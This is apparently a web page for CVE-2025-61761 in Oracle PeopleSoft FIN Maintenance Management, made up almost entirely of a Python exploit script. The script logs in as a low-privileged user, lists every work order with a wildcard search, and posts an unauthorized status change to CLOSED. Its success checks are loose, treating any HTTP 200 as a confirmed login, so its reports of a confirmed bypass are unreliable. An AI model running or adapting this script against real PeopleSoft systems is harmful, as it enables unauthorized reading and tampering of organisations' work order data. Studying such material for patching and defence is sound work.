CVE-2025-61761 Oracle PeopleSoft FIN维护管理访问控制漏洞

# CVE-2025-61761 Oracle PeopleSoft FIN Maintenance Management Access Control Bypass PoC # This PoC demonstrates the access control bypass in Work Order Management component import requests import sys TARGET_URL = "https://target-peoplesoft-host:9030" USERNAME = "low_privileged_user" PASSWORD = "user_password" def login(session, url, username, password): """Authenticate to PeopleSoft with low-privileged credentials""" login_url = f"{url}/psc/ps/EMPLOYEE/CRM/c/MAINTAIN_WORK_ORDER.GBL" data = { "userid": username, "pwd": password, } response = session.post(login_url, data=data, allow_redirects=True) if "PS_LOGIN" in response.text or response.status_code == 200: print("[+] Login successful with low-privileged account") return True return False def exploit_work_order_access(session, url): """Attempt unauthorized access to work order management data""" # Attempt to access work order data beyond user's privilege level work_order_url = f"{url}/psc/ps/EMPLOYEE/CRM/c/MAINTAIN_WORK_ORDER.GBL" # Attempt unauthorized read of restricted work orders params = { "ICType": "Search", "ICElementNum": "1", "ICAction": "#SEARCH", "WORK_ORDER_ID": "*", # Try to enumerate all work orders } response = session.get(work_order_url, params=params) if response.status_code == 200: print("[+] Unauthorized data access may be possible") # Check if restricted data is returned if "WORK_ORDER" in response.text and "RESTRICTED" in response.text: print("[!] CVE-2025-61761: Access control bypass confirmed!") print("[!] Unauthorized read access to restricted work order data") # Attempt unauthorized modification modify_data = { "ICAction": "#SAVE", "WORK_ORDER_ID": "WO_TEST_001", "STATUS": "CLOSED", # Try to modify status without authorization "COMMENTS": "Modified by unauthorized user", } response = session.post(work_order_url, data=modify_data) if response.status_code == 200 and "SAVED" in response.text: print("[!] CVE-2025-61761: Unauthorized write access confirmed!") if __name__ == "__main__": session = requests.Session() if login(session, TARGET_URL, USERNAME, PASSWORD): exploit_work_order_access(session, TARGET_URL) else: print("[-] Login failed")